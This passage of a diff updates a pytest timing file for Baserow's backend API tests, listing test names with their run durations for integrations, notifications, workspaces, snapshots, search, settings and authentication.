"tests/baserow/api/integrations/test_integration_views.py::test_create_integration_permission_denied": 0.14917745899947477, - "tests/baserow/api/integrations/test_integration_views.py::test_delete_integration": 0.29293724999843107, - "tests/baserow/api/integrations/test_integration_views.py::test_delete_integration_integration_not_exist": 0.14685445899885963, - "tests/baserow/api/integrations/test_integration_views.py::test_delete_integration_permission_denied": 0.2851427909999984, - "tests/baserow/api/integrations/test_integration_views.py::test_get_integrations": 0.4627211260003605, - "tests/baserow/api/integrations/test_integration_views.py::test_move_integration_bad_before_id": 0.2847494590005226, - "tests/baserow/api/integrations/test_integration_views.py::test_move_integration_before": 0.5791526670000167, - "tests/baserow/api/integrations/test_integration_views.py::test_move_integration_before_not_in_same_application": 0.5611247920005553, - "tests/baserow/api/integrations/test_integration_views.py::test_move_integration_empty_payload": 0.5919484169999123, - "tests/baserow/api/integrations/test_integration_views.py::test_move_integration_null_before_id": 0.6900439589999223, - "tests/baserow/api/integrations/test_integration_views.py::test_update_integration": 0.29568899999958376, - "tests/baserow/api/integrations/test_integration_views.py::test_update_integration_bad_request": 0.00012066699946444714, - "tests/baserow/api/integrations/test_integration_views.py::test_update_integration_does_not_exist": 0.1484558330002983, - "tests/baserow/api/jobs/test_jobs_views.py::test_create_job": 0.31825087499964866, - "tests/baserow/api/jobs/test_jobs_views.py::test_get_job": 0.41766570799882174, - "tests/baserow/api/jobs/test_jobs_views.py::test_list_jobs": 0.5589590010004031, - "tests/baserow/api/notifications/test_notifications_views.py::test_user_can_clear_all_own_notifications": 0.2900722090007548, - "tests/baserow/api/notifications/test_notifications_views.py::test_user_can_mark_all_own_notifications_as_read": 0.28940666699963913, - "tests/baserow/api/notifications/test_notifications_views.py::test_user_can_mark_notifications_as_read": 0.15634508299990557, - "tests/baserow/api/notifications/test_notifications_views.py::test_user_can_see_notifications_paginated": 0.2535801670001092, - "tests/baserow/api/notifications/test_notifications_views.py::test_user_cannot_clear_all_notifications_if_not_part_of_workspace": 0.14771883400044317, - "tests/baserow/api/notifications/test_notifications_views.py::test_user_cannot_clear_all_notifications_if_workspace_does_not_exist": 0.1476160840011289, - "tests/baserow/api/notifications/test_notifications_views.py::test_user_cannot_mark_all_notifications_as_read_if_not_part_of_workspace": 0.1498258329993405, - "tests/baserow/api/notifications/test_notifications_views.py::test_user_cannot_mark_all_notifications_as_read_if_workspace_does_not_exist": 0.1469977509987075, - "tests/baserow/api/notifications/test_notifications_views.py::test_user_cannot_mark_notifications_as_read_if_not_part_of_workspace": 0.15485925100074382, - "tests/baserow/api/notifications/test_notifications_views.py::test_user_cannot_mark_notifications_as_read_if_notification_does_not_exist": 0.15462991799904557, + "tests/baserow/api/groups/test_workspace_invitation_views.py::test_accept_workspace_invitation": 0.36234600000898354, + "tests/baserow/api/groups/test_workspace_invitation_views.py::test_create_workspace_invitation": 0.3271122499718331, + "tests/baserow/api/groups/test_workspace_invitation_views.py::test_create_workspace_invitation_max_pending": 0.11042629199801013, + "tests/baserow/api/groups/test_workspace_invitation_views.py::test_delete_workspace_invitation": 0.2477325010113418, + "tests/baserow/api/groups/test_workspace_invitation_views.py::test_get_workspace_invitation": 0.23974637500941753, + "tests/baserow/api/groups/test_workspace_invitation_views.py::test_get_workspace_invitation_by_token": 0.22487399898818694, + "tests/baserow/api/groups/test_workspace_invitation_views.py::test_list_workspace_invitations": 0.20804591698106378, + "tests/baserow/api/groups/test_workspace_invitation_views.py::test_reject_workspace_invitation": 0.16329883396974765, + "tests/baserow/api/groups/test_workspace_invitation_views.py::test_update_workspace_invitation": 0.2667747490340844, + "tests/baserow/api/groups/test_workspace_invitation_views.py::test_when_workspace_is_trashed_so_is_invitation": 0.1342536250303965, + "tests/baserow/api/groups/test_workspace_user_views.py::test_delete_workspace_user": 0.27737708398490213, + "tests/baserow/api/groups/test_workspace_user_views.py::test_get_workspace_user_search": 0.2413945410226006, + "tests/baserow/api/groups/test_workspace_user_views.py::test_get_workspace_user_sorts": 0.23705220798728988, + "tests/baserow/api/groups/test_workspace_user_views.py::test_if_workspace_trashed_then_workspace_user_is_trashed": 0.12077587499516085, + "tests/baserow/api/groups/test_workspace_user_views.py::test_list_workspace_users": 0.24318183297873475, + "tests/baserow/api/groups/test_workspace_user_views.py::test_list_workspace_users_2fa_enabled": 0.25802475001546554, + "tests/baserow/api/groups/test_workspace_user_views.py::test_update_workspace_user": 0.26525966596091166, + "tests/baserow/api/groups/test_workspace_views.py::test_create_initial_workspace": 0.2338096670282539, + "tests/baserow/api/groups/test_workspace_views.py::test_create_workspace": 0.09918616601498798, + "tests/baserow/api/groups/test_workspace_views.py::test_delete_workspace": 0.18952862499281764, + "tests/baserow/api/groups/test_workspace_views.py::test_leave_workspace": 0.18069516698597, + "tests/baserow/api/groups/test_workspace_views.py::test_list_workspaces": 0.09540570902754553, + "tests/baserow/api/groups/test_workspace_views.py::test_list_workspaces_with_users": 0.30680195800960064, + "tests/baserow/api/groups/test_workspace_views.py::test_only_admin_can_list_generative_ai_settings": 0.16460841801017523, + "tests/baserow/api/groups/test_workspace_views.py::test_reorder_workspaces": 0.10294208399136551, + "tests/baserow/api/groups/test_workspace_views.py::test_trashed_workspace_not_returned_by_views": 0.0994985010183882, + "tests/baserow/api/groups/test_workspace_views.py::test_update_workspace": 0.18273591800243594, + "tests/baserow/api/groups/test_workspace_views.py::test_workspace_settings_override_global_generative_ai_settings": 0.18017545901238918, + "tests/baserow/api/health/test_email_tester_views.py::test_anonymous_user_cant_trigger_test_email": 0.020656414999393746, + "tests/baserow/api/health/test_email_tester_views.py::test_non_staff_user_cant_trigger_test_email": 0.08269054201082326, + "tests/baserow/api/health/test_email_tester_views.py::test_staff_user_can_trigger_test_email": 0.08174795800005086, + "tests/baserow/api/health/test_email_tester_views.py::test_staff_user_can_trigger_test_email_and_see_error_if_fails": 0.08405245799804106, + "tests/baserow/api/health/test_health_views.py::test_anonymous_user_cant_get_full_health_checks": 0.015779706998728216, + "tests/baserow/api/health/test_health_views.py::test_celery_queue_size_exceed_export_one_of_the_queues": 0.01924787598545663, + "tests/baserow/api/health/test_health_views.py::test_celery_queue_size_exceed_export_queue_name": 0.014735374017618597, + "tests/baserow/api/health/test_health_views.py::test_celery_queue_size_exceed_no_queue_provided": 0.014697166014229879, + "tests/baserow/api/health/test_health_views.py::test_celery_queue_size_exceed_outside_limits": 0.024989208992337808, + "tests/baserow/api/health/test_health_views.py::test_celery_queue_size_exceed_queue_name": 0.014933833997929469, + "tests/baserow/api/health/test_health_views.py::test_celery_queue_size_exceed_queue_not_found": 0.014636625011917204, + "tests/baserow/api/health/test_health_views.py::test_celery_queue_size_exceed_within_limits": 0.01580562596791424, + "tests/baserow/api/health/test_health_views.py::test_full_health_check_endpoint_returns_dict_of_checks_vs_status_with_200_status": 0.08281020700815134, + "tests/baserow/api/health/test_health_views.py::test_non_staff_user_cant_get_full_health_checks": 0.08254162495722994, + "tests/baserow/api/health/test_health_views.py::test_passing_is_false_when_one_critical_service_fails": 0.08476679099840112, + "tests/baserow/api/health/test_health_views.py::test_staff_user_can_get_full_health_checks": 0.08431712602032349, + "tests/baserow/api/import_export/test_export_applications_views.py::test_export_specific_application_ids_filters_correctly": 0.5033878340036608, + "tests/baserow/api/import_export/test_export_applications_views.py::test_exporting_empty_workspace": 0.4196260420139879, + "tests/baserow/api/import_export/test_export_applications_views.py::test_exporting_missing_workspace_returns_error": 0.08761424999102019, + "tests/baserow/api/import_export/test_export_applications_views.py::test_exporting_workspace_with_application_without_permissions_returns_error": 0.16048958303872496, + "tests/baserow/api/import_export/test_export_applications_views.py::test_exporting_workspace_with_no_permissions_returns_error": 0.15804920796654187, + "tests/baserow/api/import_export/test_export_applications_views.py::test_exporting_workspace_with_single_empty_database": 0.4024366670055315, + "tests/baserow/api/import_export/test_export_applications_views.py::test_list_exports_for_invalid_user": 0.5643399569671601, + "tests/baserow/api/import_export/test_export_applications_views.py::test_list_exports_for_valid_user": 0.4072719579853583, + "tests/baserow/api/import_export/test_export_applications_views.py::test_list_exports_with_missing_workspace": 0.08620733296265826, + "tests/baserow/api/import_export/test_import_applications_delete_resource_view.py::test_delete_non_existing_resource": 0.09189179199165665, + "tests/baserow/api/import_export/test_import_applications_delete_resource_view.py::test_delete_resource_invalid_user": 0.15482729198993184, + "tests/baserow/api/import_export/test_import_applications_delete_resource_view.py::test_deleting_valid_resource_marks_it_for_deleting": 0.09463349901488982, + "tests/baserow/api/import_export/test_import_applications_upload_file_view.py::test_upload_file_into_non_existing_workspace": 0.08453808297053911, + "tests/baserow/api/import_export/test_import_applications_upload_file_view.py::test_upload_file_invalid_user": 0.15571499898214824, + "tests/baserow/api/import_export/test_import_applications_upload_file_view.py::test_upload_file_not_zip": 0.09340416599297896, + "tests/baserow/api/import_export/test_import_applications_upload_file_view.py::test_upload_file_without_attachment": 0.09115495800506324, + "tests/baserow/api/import_export/test_import_applications_upload_file_view.py::test_upload_valid_file": 0.108313333010301, + "tests/baserow/api/import_export/test_import_applications_views.py::test_import_applications": 4.279712749965256, + "tests/baserow/api/import_export/test_import_applications_views.py::test_import_applications_from_non_existing_resource": 0.09102433398948051, + "tests/baserow/api/import_export/test_import_applications_views.py::test_import_applications_into_non_existing_workspace": 0.085070333967451, + "tests/baserow/api/import_export/test_import_applications_views.py::test_import_applications_with_non_existing_file": 0.30664383401745, + "tests/baserow/api/import_export/test_import_applications_views.py::test_import_specific_application_ids": 0.4012546250014566, + "tests/baserow/api/import_export/test_import_applications_views.py::test_import_with_nonexistent_application_ids": 0.3603215420152992, + "tests/baserow/api/import_export/test_import_applications_views.py::test_import_without_application_ids": 0.4631927089940291, + "tests/baserow/api/integrations/test_integration_views.py::test_create_integration": 0.14217299901065417, + "tests/baserow/api/integrations/test_integration_views.py::test_create_integration_application_does_not_exist": 0.0846928319951985, + "tests/baserow/api/integrations/test_integration_views.py::test_create_integration_bad_application_type": 0.09175691701238975, + "tests/baserow/api/integrations/test_integration_views.py::test_create_integration_permission_denied": 0.09818183400784619, + "tests/baserow/api/integrations/test_integration_views.py::test_delete_integration": 0.1686947089910973, + "tests/baserow/api/integrations/test_integration_views.py::test_delete_integration_integration_not_exist": 0.08788408400141634, + "tests/baserow/api/integrations/test_integration_views.py::test_delete_integration_permission_denied": 0.16047812497708946, + "tests/baserow/api/integrations/test_integration_views.py::test_get_integrations": 0.21037312399130315, + "tests/baserow/api/integrations/test_integration_views.py::test_move_integration_bad_before_id": 0.16130262496881187, + "tests/baserow/api/integrations/test_integration_views.py::test_move_integration_before": 0.316724125033943, + "tests/baserow/api/integrations/test_integration_views.py::test_move_integration_before_not_in_same_application": 0.31345508302911185, + "tests/baserow/api/integrations/test_integration_views.py::test_move_integration_empty_payload": 0.3050376670435071, + "tests/baserow/api/integrations/test_integration_views.py::test_move_integration_null_before_id": 0.3111653760133777, + "tests/baserow/api/integrations/test_integration_views.py::test_update_integration": 0.16830329099320807, + "tests/baserow/api/integrations/test_integration_views.py::test_update_integration_bad_request": 0.00010808298247866333, + "tests/baserow/api/integrations/test_integration_views.py::test_update_integration_does_not_exist": 0.08536079197074287, + "tests/baserow/api/jobs/test_jobs_views.py::test_cancel_job_finished": 0.3349186660198029, + "tests/baserow/api/jobs/test_jobs_views.py::test_cancel_job_pending": 0.32773412598180585, + "tests/baserow/api/jobs/test_jobs_views.py::test_cancel_job_running": 0.38062020801589824, + "tests/baserow/api/jobs/test_jobs_views.py::test_create_job": 0.3547584170009941, + "tests/baserow/api/jobs/test_jobs_views.py::test_get_job": 0.273251957987668, + "tests/baserow/api/jobs/test_jobs_views.py::test_list_jobs": 0.33176383399404585, + "tests/baserow/api/jobs/test_jobs_views.py::test_list_jobs_with_type_specific_filters": 0.15875383399543352, + "tests/baserow/api/notifications/test_notifications_views.py::test_user_can_clear_all_own_notifications": 0.1705028330325149, + "tests/baserow/api/notifications/test_notifications_views.py::test_user_can_mark_all_own_notifications_as_read": 0.17474349902477115, + "tests/baserow/api/notifications/test_notifications_views.py::test_user_can_mark_notifications_as_read": 0.09979612601455301, + "tests/baserow/api/notifications/test_notifications_views.py::test_user_can_see_notifications_paginated": 0.2427215409989003, + "tests/baserow/api/notifications/test_notifications_views.py::test_user_cannot_clear_all_notifications_if_not_part_of_workspace": 0.09600279200822115, + "tests/baserow/api/notifications/test_notifications_views.py::test_user_cannot_clear_all_notifications_if_workspace_does_not_exist": 0.08638008299749345, + "tests/baserow/api/notifications/test_notifications_views.py::test_user_cannot_mark_all_notifications_as_read_if_not_part_of_workspace": 0.09329520899336785, + "tests/baserow/api/notifications/test_notifications_views.py::test_user_cannot_mark_all_notifications_as_read_if_workspace_does_not_exist": 0.08786141595919617, + "tests/baserow/api/notifications/test_notifications_views.py::test_user_cannot_mark_notifications_as_read_if_not_part_of_workspace": 0.0940652490244247, + "tests/baserow/api/notifications/test_notifications_views.py::test_user_cannot_mark_notifications_as_read_if_notification_does_not_exist": 0.09786808298667893, "tests/baserow/api/notifications/test_notifications_views.py::test_user_cannot_mark_notifications_as_read_if_notification_does_not_exists": 0.06875282100008917, - "tests/baserow/api/notifications/test_notifications_views.py::test_user_cannot_see_notifications_of_non_existing_workspace": 0.14661620800052333, - "tests/baserow/api/notifications/test_notifications_views.py::test_user_fetch_workspace_and_user_notifications_together": 0.1896071259989185, - "tests/baserow/api/notifications/test_notifications_views.py::test_user_get_unread_user_count_refreshing_token": 0.4431857090012272, - "tests/baserow/api/notifications/test_notifications_views.py::test_user_get_unread_workspace_count_listing_workspaces": 0.17638625000017782, - "tests/baserow/api/notifications/test_notifications_views.py::test_user_outside_workspace_cannot_see_notifications": 0.14991504200042982, - "tests/baserow/api/settings/test_settings_views.py::test_get_instance_id": 0.28214712499993766, - "tests/baserow/api/settings/test_settings_views.py::test_get_settings": 0.016607416000624653, - "tests/baserow/api/settings/test_settings_views.py::test_register_settings_data_type": 0.01185183299912751, - "tests/baserow/api/settings/test_settings_views.py::test_require_first_admin_user_is_false_after_admin_creation": 0.15581049999946117, - "tests/baserow/api/settings/test_settings_views.py::test_update_co_branding_logo": 0.29157637499974953, - "tests/baserow/api/settings/test_settings_views.py::test_update_email_verification_settings": 0.14813770900036616, - "tests/baserow/api/settings/test_settings_views.py::test_update_email_verification_settings_invalid[None]": 0.14349629200023628, - "tests/baserow/api/settings/test_settings_views.py::test_update_email_verification_settings_invalid[invalid]": 0.1451216249997742, - "tests/baserow/api/settings/test_settings_views.py::test_update_settings": 0.29419358300037857, - "tests/baserow/api/settings/test_settings_views.py::test_update_show_baserow_help_request": 0.15364316800059896, - "tests/baserow/api/snapshots/test_snapshots_views.py::test_create_snapshot": 0.15185249999922235, - "tests/baserow/api/snapshots/test_snapshots_views.py::test_create_snapshot_app_not_found": 0.1484011250004187, - "tests/baserow/api/snapshots/test_snapshots_views.py::test_create_snapshot_body_validation": 0.14945716700094636, - "tests/baserow/api/snapshots/test_snapshots_views.py::test_create_snapshot_invalid_token[JWT invalid]": 0.1462148749988046, - "tests/baserow/api/snapshots/test_snapshots_views.py::test_create_snapshot_invalid_token[Token invalid]": 0.14541212500080292, - "tests/baserow/api/snapshots/test_snapshots_views.py::test_create_snapshot_limit_reached": 0.1640118329996767, + "tests/baserow/api/notifications/test_notifications_views.py::test_user_cannot_see_notifications_of_non_existing_workspace": 0.08672000101068988, + "tests/baserow/api/notifications/test_notifications_views.py::test_user_fetch_workspace_and_user_notifications_together": 0.14543337502982467, + "tests/baserow/api/notifications/test_notifications_views.py::test_user_get_unread_user_count_refreshing_token": 0.25269570798263885, + "tests/baserow/api/notifications/test_notifications_views.py::test_user_get_unread_workspace_count_listing_workspaces": 0.11357279098592699, + "tests/baserow/api/notifications/test_notifications_views.py::test_user_outside_workspace_cannot_see_notifications": 0.09376645801239647, + "tests/baserow/api/search/test_workspace_search_views.py::test_workspace_search_admin_permissions": 0.10329433300648816, + "tests/baserow/api/search/test_workspace_search_views.py::test_workspace_search_basic_success": 0.11453495899331756, + "tests/baserow/api/search/test_workspace_search_views.py::test_workspace_search_case_insensitive": 0.1507400420086924, + "tests/baserow/api/search/test_workspace_search_views.py::test_workspace_search_empty_query_parameter": 0.09043358400231227, + "tests/baserow/api/search/test_workspace_search_views.py::test_workspace_search_invalid_limit_parameter": 0.0851107930066064, + "tests/baserow/api/search/test_workspace_search_views.py::test_workspace_search_invalid_offset_parameter": 0.08296758399228565, + "tests/baserow/api/search/test_workspace_search_views.py::test_workspace_search_member_permissions": 0.10343666700646281, + "tests/baserow/api/search/test_workspace_search_views.py::test_workspace_search_missing_query_parameter": 0.08985216601286083, + "tests/baserow/api/search/test_workspace_search_views.py::test_workspace_search_no_results": 0.10168058300041594, + "tests/baserow/api/search/test_workspace_search_views.py::test_workspace_search_pagination_across_multiple_types": 1.1229682920093182, + "tests/baserow/api/search/test_workspace_search_views.py::test_workspace_search_partial_match": 0.18393279201700352, + "tests/baserow/api/search/test_workspace_search_views.py::test_workspace_search_requires_authentication": 0.01888791599776596, + "tests/baserow/api/search/test_workspace_search_views.py::test_workspace_search_requires_workspace_membership": 0.09102000098209828, + "tests/baserow/api/search/test_workspace_search_views.py::test_workspace_search_scoped_to_requested_workspace": 0.4790961660037283, + "tests/baserow/api/search/test_workspace_search_views.py::test_workspace_search_trashed_workspace": 0.08709487499436364, + "tests/baserow/api/search/test_workspace_search_views.py::test_workspace_search_with_limit_parameter": 0.11339774998486973, + "tests/baserow/api/search/test_workspace_search_views.py::test_workspace_search_with_offset_parameter": 0.1282476660271641, + "tests/baserow/api/search/test_workspace_search_views.py::test_workspace_search_workspace_not_found": 0.0874515839968808, + "tests/baserow/api/settings/test_settings_views.py::test_get_instance_id": 0.15564295701915398, + "tests/baserow/api/settings/test_settings_views.py::test_get_settings": 0.0262237080023624, + "tests/baserow/api/settings/test_settings_views.py::test_register_settings_data_type": 0.016622706985799596, + "tests/baserow/api/settings/test_settings_views.py::test_require_first_admin_user_is_false_after_admin_creation": 0.1017725830024574, + "tests/baserow/api/settings/test_settings_views.py::test_update_co_branding_logo": 0.1613331679836847, + "tests/baserow/api/settings/test_settings_views.py::test_update_email_verification_settings": 0.09335487498901784, + "tests/baserow/api/settings/test_settings_views.py::test_update_email_verification_settings_invalid[None]": 0.08586499997181818, + "tests/baserow/api/settings/test_settings_views.py::test_update_email_verification_settings_invalid[invalid]": 0.08944762501050718, + "tests/baserow/api/settings/test_settings_views.py::test_update_settings": 0.16592599998693913, + "tests/baserow/api/settings/test_settings_views.py::test_update_show_baserow_help_request": 0.08992649998981506, + "tests/baserow/api/snapshots/test_snapshots_views.py::test_create_snapshot": 0.0958417080109939, + "tests/baserow/api/snapshots/test_snapshots_views.py::test_create_snapshot_app_not_found": 0.08625270900665782, + "tests/baserow/api/snapshots/test_snapshots_views.py::test_create_snapshot_body_validation": 0.0864957919693552, + "tests/baserow/api/snapshots/test_snapshots_views.py::test_create_snapshot_invalid_token[JWT invalid]": 0.08842208399437368, + "tests/baserow/api/snapshots/test_snapshots_views.py::test_create_snapshot_invalid_token[Token invalid]": 0.08547037601238117, + "tests/baserow/api/snapshots/test_snapshots_views.py::test_create_snapshot_limit_reached": 0.11681475001387298, "tests/baserow/api/snapshots/test_snapshots_views.py::test_create_snapshot_user_not_in_group": 0.11245041299480363, - "tests/baserow/api/snapshots/test_snapshots_views.py::test_create_snapshot_user_not_in_workspace": 0.2828868329997931, - "tests/baserow/api/snapshots/test_snapshots_views.py::test_delete_snapshot": 0.3301263760004076, - "tests/baserow/api/snapshots/test_snapshots_views.py::test_delete_snapshot_invalid_token[JWT invalid]": 0.14834366500053875, - "tests/baserow/api/snapshots/test_snapshots_views.py::test_delete_snapshot_invalid_token[Token invalid]": 0.14645804100018722, - "tests/baserow/api/snapshots/test_snapshots_views.py::test_delete_snapshot_not_found": 0.1460502500003713, + "tests/baserow/api/snapshots/test_snapshots_views.py::test_create_snapshot_user_not_in_workspace": 0.15909400000236928, + "tests/baserow/api/snapshots/test_snapshots_views.py::test_delete_snapshot": 0.39179358203546144, + "tests/baserow/api/snapshots/test_snapshots_views.py::test_delete_snapshot_invalid_token[JWT invalid]": 0.08746083301957697, + "tests/baserow/api/snapshots/test_snapshots_views.py::test_delete_snapshot_invalid_token[Token invalid]": 0.08866037600091659, + "tests/baserow/api/snapshots/test_snapshots_views.py::test_delete_snapshot_not_found": 0.08483016598620452, "tests/baserow/api/snapshots/test_snapshots_views.py::test_delete_snapshot_user_not_in_group": 0.11197858600280597, - "tests/baserow/api/snapshots/test_snapshots_views.py::test_delete_snapshot_user_not_in_workspace": 0.2828410000001895, - "tests/baserow/api/snapshots/test_snapshots_views.py::test_list_snapshots": 0.3080300010005885, - "tests/baserow/api/snapshots/test_snapshots_views.py::test_list_snapshots_app_not_found": 0.14705504200082942, - "tests/baserow/api/snapshots/test_snapshots_views.py::test_list_snapshots_invalid_token[JWT invalid]": 0.1454140820005705, - "tests/baserow/api/snapshots/test_snapshots_views.py::test_list_snapshots_invalid_token[Token invalid]": 0.14456129200061696, + "tests/baserow/api/snapshots/test_snapshots_views.py::test_delete_snapshot_user_not_in_workspace": 0.15824891696684062, + "tests/baserow/api/snapshots/test_snapshots_views.py::test_get_current_snapshot_job": 0.3328606659779325, + "tests/baserow/api/snapshots/test_snapshots_views.py::test_get_current_snapshot_job_cancelled": 0.33596845803549513, + "tests/baserow/api/snapshots/test_snapshots_views.py::test_list_snapshots": 0.18723095901077613, + "tests/baserow/api/snapshots/test_snapshots_views.py::test_list_snapshots_app_not_found": 0.0864526660006959, + "tests/baserow/api/snapshots/test_snapshots_views.py::test_list_snapshots_invalid_token[JWT invalid]": 0.08876191597664729, + "tests/baserow/api/snapshots/test_snapshots_views.py::test_list_snapshots_invalid_token[Token invalid]": 0.08863837498938665, "tests/baserow/api/snapshots/test_snapshots_views.py::test_list_snapshots_user_not_in_group": 0.1095088649999525, - "tests/baserow/api/snapshots/test_snapshots_views.py::test_list_snapshots_user_not_in_workspace": 0.2817215839995697, - "tests/baserow/api/snapshots/test_snapshots_views.py::test_restore_snapshot": 0.15545583399944007, - "tests/baserow/api/snapshots/test_snapshots_views.py::test_restore_snapshot_invalid_token[JWT invalid]": 0.14891208399967581, - "tests/baserow/api/snapshots/test_snapshots_views.py::test_restore_snapshot_invalid_token[Token invalid]": 0.14773137600059272, - "tests/baserow/api/snapshots/test_snapshots_views.py::test_restore_snapshot_not_found": 0.14726433399937378, + "tests/baserow/api/snapshots/test_snapshots_views.py::test_list_snapshots_user_not_in_workspace": 0.16455000100540929, + "tests/baserow/api/snapshots/test_snapshots_views.py::test_restore_snapshot": 0.09642725097364746, + "tests/baserow/api/snapshots/test_snapshots_views.py::test_restore_snapshot_invalid_token[JWT invalid]": 0.0891595829743892, + "tests/baserow/api/snapshots/test_snapshots_views.py::test_restore_snapshot_invalid_token[Token invalid]": 0.0887120409461204, + "tests/baserow/api/snapshots/test_snapshots_views.py::test_restore_snapshot_not_found": 0.08581358302035369, "tests/baserow/api/snapshots/test_snapshots_views.py::test_restore_snapshot_user_not_in_group": 0.11274533799951314, - "tests/baserow/api/snapshots/test_snapshots_views.py::test_restore_snapshot_user_not_in_workspace": 0.2822130419981477, - "tests/baserow/api/templates/test_templates_views.py::test_async_install_template_errors": 0.3549325839994708, - "tests/baserow/api/templates/test_templates_views.py::test_async_install_template_schedule_job": 0.5021766679992652, - "tests/baserow/api/templates/test_templates_views.py::test_async_install_template_serializer": 0.8574088760015002, - "tests/baserow/api/templates/test_templates_views.py::test_install_template": 0.47797533399989334, - "tests/baserow/api/templates/test_templates_views.py::test_list_templates": 0.01748954200047592, - "tests/baserow/api/test_api_authentication.py::test_access_token_is_invalidated_after_password_change": 0.5831700830003683, - "tests/baserow/api/test_api_authentication.py::test_authenticate": 0.1649553739998737, - "tests/baserow/api/test_api_authentication_backend.py::test_authenticate_fails_with_user_source_token": 0.28268429200034006, - "tests/baserow/api/test_api_decorators.py::test_accept_timezone": 0.008924457999455626, - "tests/baserow/api/test_api_decorators.py::test_allowed_includes": 0.008504459001414943, + "tests/baserow/api/snapshots/test_snapshots_views.py::test_restore_snapshot_user_not_in_workspace": 0.16089025101973675, + "tests/baserow/api/templates/test_templates_views.py::test_async_install_template_errors": 0.190523207973456, + "tests/baserow/api/templates/test_templates_views.py::test_async_install_template_schedule_job": 0.4152003329945728, + "tests/baserow/api/templates/test_templates_views.py::test_async_install_template_serializer": 0.5274850839923602, + "tests/baserow/api/templates/test_templates_views.py::test_install_template": 0.33414633400388993, + "tests/baserow/api/templates/test_templates_views.py::test_list_templates": 0.024990292004076764, + "tests/baserow/api/test_api_authentication.py::test_access_token_is_invalidated_after_password_change": 0.3303965819941368, + "tests/baserow/api/test_api_authentication.py::test_authenticate": 0.10739625000860542, + "tests/baserow/api/test_api_authentication_backend.py::test_authenticate_fails_with_user_source_token": 0.16146916698198766, + "tests/baserow/api/test_api_decorators.py::test_accept_timezone": 0.015772791986819357, + "tests/baserow/api/test_api_decorators.py::test_allowed_includes": 0.013942040997790173, "tests/baserow/api/test_api_decorators.py::test_map_exceptions": 0.0008653919976495672, - "tests/baserow/api/test_api_decorators.py::test_map_exceptions_decorator": 0.01021341599880543, - "tests/baserow/api/test_api_decorators.py::test_request_data_types": 0.008737416997973924, - "tests/baserow/api/test_api_decorators.py::test_validate_body": 0.00975116799781972, - "tests/baserow/api/test_api_decorators.py::test_validate_body_and_query_parameters": 0.009908417001497583, - "tests/baserow/api/test_api_decorators.py::test_validate_body_custom_fields": 0.011100125997472787, - "tests/baserow/api/test_api_decorators.py::test_validate_query_parameter": 0.010589750001599896, - "tests/baserow/api/test_api_spec.py::test_openapi_spec": 1.5676597509991552, - "tests/baserow/api/test_api_utils.py::test_anon_user_works": 0.06311379100043268, - "tests/baserow/api/test_api_utils.py::test_api_error_if_url_trailing_slash_is_missing": 0.020520332000160124, - "tests/baserow/api/test_api_utils.py::test_api_give_informative_404_page_in_debug_for_invalid_urls": 0.03557745899888687, - "tests/baserow/api/test_api_utils.py::test_can_set_per_user_profile_custom_limt": 0.20265470900085347, - "tests/baserow/api/test_api_utils.py::test_can_set_throttle_per_user_profile_custom_limit": 0.19931008300045505, - "tests/baserow/api/test_api_utils.py::test_concurrent_user_requests_does_not_throttle_staff_users": 0.1989884999993592, - "tests/baserow/api/test_api_utils.py::test_concurrent_user_requests_throttle_non_staff_authenticated_users": 0.21626629200090974, - "tests/baserow/api/test_api_utils.py::test_get_serializer_class": 0.01151404200027173, + "tests/baserow/api/test_api_decorators.py::test_map_exceptions_decorator": 0.014988583017839119, + "tests/baserow/api/test_api_decorators.py::test_request_data_types": 0.013040582998655736, + "tests/baserow/api/test_api_decorators.py::test_validate_body": 0.015689667023252696, + "tests/baserow/api/test_api_decorators.py::test_validate_body_and_query_parameters": 0.013644124963320792, + "tests/baserow/api/test_api_decorators.py::test_validate_body_custom_fields": 0.01438291699741967, + "tests/baserow/api/test_api_decorators.py::test_validate_query_parameter": 0.013832583965267986, + "tests/baserow/api/test_api_spec.py::test_openapi_spec": 3.2736865829792805, + "tests/baserow/api/test_api_utils.py::test_anon_user_works": 0.07690270899911411, + "tests/baserow/api/test_api_utils.py::test_api_error_if_url_trailing_slash_is_missing": 0.022577084018848836, + "tests/baserow/api/test_api_utils.py::test_api_give_informative_404_page_in_debug_for_invalid_urls": 0.04152400002931245, + "tests/baserow/api/test_api_utils.py::test_can_set_per_user_profile_custom_limt": 0.14406545899691992, + "tests/baserow/api/test_api_utils.py::test_can_set_throttle_per_user_profile_custom_limit": 0.14482650003628805, + "tests/baserow/api/test_api_utils.py::test_concurrent_user_requests_does_not_throttle_staff_users": 0.14355900100781582, + "tests/baserow/api/test_api_utils.py::test_concurrent_user_requests_throttle_non_staff_authenticated_users": 0.1676008340145927, + "tests/baserow/api/test_api_utils.py::test_get_serializer_class": 0.016081166017102078, "tests/baserow/api/test_api_utils.py::test_map_exceptions": 0.0010498099982214626, - "tests/baserow/api/test_api_utils.py::test_map_exceptions_context_manager": 0.010245249997751671, - "tests/baserow/api/test_api_utils.py::test_map_exceptions_from_registry": 0.007931416997962515, - "tests/baserow/api/test_api_utils.py::test_throttle_set_baserow_concurrency_throttle_request_id_and_middleware_can_get_it": 0.14765662399986468, - "tests/baserow/api/test_api_utils.py::test_validate_data": 0.00861208299829741, - "tests/baserow/api/test_api_utils.py::test_validate_data_custom_fields": 0.00860850000026403, - "tests/baserow/api/test_redoc.py::test_can_generate_open_api_schema": 0.016753291001805337, - "tests/baserow/api/test_searchable_view_mixin.py::test_searchable_view_mixin_apply_search": 0.023467249999157502, - "tests/baserow/api/test_searchable_view_mixin.py::test_searchable_view_mixin_apply_search_default": 0.018384666000201833, - "tests/baserow/api/test_searchable_view_mixin.py::test_searchable_view_mixin_apply_search_no_search_fields": 0.02240362499924231, - "tests/baserow/api/test_sortable_view_mixin.py::test_sortable_view_mixin_apply_sorts_or_default_sort_default": 0.020220041998982197, - "tests/baserow/api/test_sortable_view_mixin.py::test_sortable_view_mixin_apply_sorts_or_default_sort_invalid_attribute": 0.01570320900009392, - "tests/baserow/api/test_sortable_view_mixin.py::test_sortable_view_mixin_apply_sorts_or_default_sort_invalid_sort_direction": 0.015522832999522507, - "tests/baserow/api/test_sortable_view_mixin.py::test_sortable_view_mixin_apply_sorts_or_default_sort_key_ascending": 0.023778500999469543, - "tests/baserow/api/test_sortable_view_mixin.py::test_sortable_view_mixin_apply_sorts_or_default_sort_key_descending": 0.023324833998231043, - "tests/baserow/api/trash/test_trash_views.py::test_can_get_trash_contents_for_undeleted_app": 0.14961804100039444, + "tests/baserow/api/test_api_utils.py::test_map_exceptions_context_manager": 0.018259000993566588, + "tests/baserow/api/test_api_utils.py::test_map_exceptions_from_registry": 0.013091958971926942, + 